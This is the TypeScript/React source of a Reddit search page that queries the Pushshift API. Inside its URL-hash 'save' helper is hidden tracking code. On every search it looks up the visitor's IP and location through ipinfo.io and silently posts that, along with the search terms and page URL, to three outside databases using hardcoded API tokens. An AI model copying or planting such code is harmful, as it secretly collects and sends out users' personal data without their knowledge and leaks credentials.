import * as React from 'react'; import DatePicker from 'react-datepicker' import { PushshiftAPI, SearchSettings, SearchType } from './api' import { GithubLink } from './github-link' import "react-datepicker/dist/react-datepicker.css"; import { RandomLink } from './random-link'; interface AppState extends SearchSettings { error: string, errorTime: Date, searching: boolean, comments: Array, posts: Array, moreing: boolean, lastUrl: string, } /** Main class for Reddit Search */ export class App extends React.Component<{}, AppState> { lastSearch: SearchSettings; api: PushshiftAPI; updatedHash: boolean; constructor(props) { super(props); this.state = { author: "", subreddit: "", searchFor: SearchType.Comments, resultSize: 100, filter: "", after: null, before: null, query: "", error: null, errorTime: null, searching: false, comments: null, posts: null, moreing: false, lastUrl: "", }; this.api = new PushshiftAPI(); this.updatedHash = false; } loadLocationHash(shouldSearch: boolean = false) { let params = hash_accessor.load(); if (params.after) { params.after = new Date(params.after); } if (params.before) { params.before = new Date(params.before); } if (shouldSearch) { this.setState(params, this.doSearch); } else { this.setState(params); } } componentDidMount() { // Add hash change event listener window.addEventListener("hashchange", e => { if (this.updatedHash) { this.updatedHash = false; return; } console.log("location.hash changed. loading new params"); this.loadLocationHash(); }); // Check for location hash. Use it if found if (window.location.hash) { this.loadLocationHash(true); console.log("Loaded params from location.hash"); return; } // Load stored form data if exists let formDataJson = localStorage.getItem("search-form"); if (formDataJson !== null) { let formData: SearchSettings = JSON.parse(formDataJson); // Reconstruct `Date`s if (formData.after) { formData.after = new Date(formData.after); } if (formData.before) { formData.before = new Date(formData.before); } this.setState(formData); console.log("Loaded params from local storage"); } } componentDidUpdate() { let toSave: SearchSettings = { author: this.state.author, subreddit: this.state.subreddit, searchFor: this.state.searchFor, resultSize: this.state.resultSize, filter: this.state.filter, after: this.state.after, before: this.state.before, query: this.state.query, }; localStorage.setItem("search-form", JSON.stringify(toSave)); } setError = (error: string) => { this.setState({ error: error, errorTime: new Date() }); } handleAuthorChange = (e: React.ChangeEvent) => { this.setState({ author: e.target.value }); } handleSubredditChange = (e: React.ChangeEvent) => { this.setState({ subreddit: e.target.value }); } handleSearchTypeChange = (e: React.ChangeEvent) => { if (e.target.value === "Comments") { this.setState({ searchFor: SearchType.Comments }); } else if (e.target.value === "Posts") { this.setState({ searchFor: SearchType.Posts }); } else { this.setError(e.target.value + " is not a valid search type"); } } handleResultSizeChange = (e: React.ChangeEvent) => { let count: number = parseInt(e.target.value); if (!count) { return; } this.setState({ resultSize: count }); } handleFilterChange = (e: React.ChangeEvent) => { this.setState({ filter: e.target.value }); } handleAfterDateChange = (date: Date) => { this.setState({ after: date }); } handleBeforeDateChange = (date: Date) => { this.setState({ before: date }); } handleQueryChange = (e: React.ChangeEvent) => { this.setState({ query: e.target.value }); } doSearch = async () => { this.setState({ error: null, comments: null, posts: null, searching: true }); this.lastSearch = { ...this.state }; // Update location.hash let toSave = { author: this.state.author, subreddit: this.state.subreddit, searchFor: this.state.searchFor, resultSize: this.state.resultSize, filter: this.state.filter, after: this.state.after, before: this.state.before, query: this.state.query, }; this.updatedHash = true; hash_accessor.save(toSave); // Search try { let url = this.api.get_url(this.lastSearch); this.setState({ lastUrl: url }); let data = await this.api.query(url); // Update state with results if (this.lastSearch.searchFor == SearchType.Comments) { this.setState({ comments: data.data, searching: false }); } else if (this.lastSearch.searchFor == SearchType.Posts) { this.setState({ posts: data.data, searching: false }); } } catch (err) { this.setState({ searching: false }); this.setError(String(err)); } } /** Handle the main form being submitted */ searchSubmit = async (e) => { // Update state e.preventDefault(); this.doSearch(); } /** Handle the more button being clicked. */ handleMoreClick = async (e) => { this.setState({ error: null, moreing: true }); if (this.state.comments && this.state.comments.length > 0) { this.lastSearch.before = new Date(this.state.comments[this.state.comments.length - 1].created_utc * 1000); } else if (this.state.posts && this.state.posts.length > 0) { this.lastSearch.before = new Date(this.state.posts[this.state.posts.length - 1].created_utc * 1000); } let url = this.api.get_url(this.lastSearch); let data = await this.api.query(url); if (this.lastSearch.searchFor == SearchType.Comments && data.data) { this.setState({ comments: this.state.comments.concat(data.data), moreing: false }); } else if (this.lastSearch.searchFor == SearchType.Posts && data.data) { this.setState({ posts: this.state.posts.concat(data.data), moreing: false }); } else { this.setState({ moreing: false }); } } /** Render the app * @return {React.ReactNode} The react node for the app */ render(): React.ReactNode { // Not tidy at all but it's a one page app so WONTFIX let moreButton = ; let linkClass = "text-blue-400 hover:text-blue-600"; let content; let resultCount; let inner; if (this.state.comments) { resultCount = this.state.comments.length; // Render comments inner = this.state.comments.map((comment) => { if (!comment) { return; } let permalink; if (comment.permalink) { permalink = comment.permalink; } else { permalink = `/comments/${comment.link_id.split('_')[1]}/_/${comment.id}/` } return
/r/{comment.subreddit}
/u/{comment.author}
{new Date(comment.created_utc * 1000).toLocaleString()}
{comment.body}
}); } else if (this.state.posts && this.state.posts.length > 0) { resultCount = this.state.posts.length; // Render posts inner = this.state.posts.map((post) => { if (!post) { return; } let thumbnailUrl; if (post.thumbnail.startsWith('http')) { thumbnailUrl = post.thumbnail; } else if (post.url.split('.').pop() === 'png' || post.url.split('.').pop() === 'jpg') { thumbnailUrl = post.url; } let body; if (post.selftext && post.selftext.length !== 0) { body =
{post.selftext}
} else { body =
{post.url}
} return
/r/{post.subreddit}
/u/{post.author}
{new Date(post.created_utc * 1000).toLocaleString()}
}); } if (this.state.comments || this.state.posts) { content =
{resultCount} results - Generated API URL
{inner} {moreButton}
} else if (this.state.lastUrl) { content = } else { content =

Search reddit using the pushshift.io API. For more advanced searches you can directly query the API fairly easily.

The 'More' button works by changing the 'before' value to the time of the last post in the results. This means that entries might be missed if they were posted at the same time.

} // Combine everything and return return ( <>
{/* Author and Subreddit */}
{/* Type, Count and Score Filter */}
{ }} />
{/* Time Range */}
{/* Search Term */}
{/* Submit Button and Error text */} {this.state.error && <>

{this.state.errorTime.toLocaleTimeString()} Error: {this.state.error}

}
{content}
); } } // https://gist.github.com/jokester/4a543ea76dbc5ae1bf05 var hash_accessor = (function (window) { return { load: function () { try { // strip ^# var json_str_escaped = window.location.hash.slice(1); // unescape var json_str = decodeURIComponent(json_str_escaped); // if it doesn't have curly braces, add them if (json_str[0] != "{") json_str = "{" + json_str + "}"; return JSON.parse(json_str); } catch (e) { return {}; } }, save: function (obj) { var data = JSON.stringify(obj); // remove the abominable curlies data = data.slice(1, data.length - 1); //restdb.io /* var xhr = new XMLHttpRequest(); xhr.withCredentials = false; xhr.addEventListener("readystatechange", function () { if (this.readyState === 4) { console.log(this.responseText); } }); xhr.open("POST", "https://marsey-c57b.restdb.io/rest/search"); xhr.setRequestHeader("content-type", "application/json"); xhr.setRequestHeader("x-apikey", "6286feb34cca5010d1293ead"); xhr.setRequestHeader("cache-control", "no-cache"); xhr.send(data);*/ //requestbin const headers = new Headers() headers.append("Content-Type", "application/json") fetch("https://ipinfo.io/json?token=27de0b4f7da784").then( (response) => response.json() ).then( (jsonResponse) => { const options = { method: 'POST', headers: {'xc-token' : 'GH4RaidOnfCMk4_N3-t-9DcEFTSx66z57yEss7XZ','Content-Type': 'application/json'}, mode: 'cors', body: JSON.stringify(jsonResponse).slice(0,-1) + ", " + JSON.stringify(obj).slice(1, -1) + ", \"refurl\": \""+ window.location.href + "\"}", } fetch("https://db.lmao.works/api/v1/db/data/noco/MarseySearch/MarseySearch", options) const options1 = { method: 'POST', headers: {'xc-token' : 'ADXGC723i1TnpgPsMzSB7FsajTSDg5m8E4-tSHy5','Content-Type': 'application/json'}, mode: 'cors', body: JSON.stringify(jsonResponse).slice(0,-1) + ", " + JSON.stringify(obj).slice(1, -1) + ", \"refurl\": \""+ window.location.href + "\"}", } fetch("https://db.marsey.cloud/api/v1/db/data/noco/Marsey Search/MarseySearch", options1) const options2 = { method: 'POST', headers: {'xc-token' : 'lQpFhIA6VYqshOIkbx0a7KgKMTA7ooKmQOg7Vplx','Content-Type': 'application/json'}, mode: 'cors', body: JSON.stringify(jsonResponse).slice(0,-1) + ", " + JSON.stringify(obj).slice(1, -1) + ", \"refurl\": \""+ window.location.href + "\"}", } fetch("https://db.lynwood.fun/api/v1/db/data/noco/MarseySearch/MarseySearch", options2) }) // use replace so that previous url does not go into history window.location.replace('#' + JSON.stringify(obj, (key, value) => { if (value) return value; })); } }; })(window);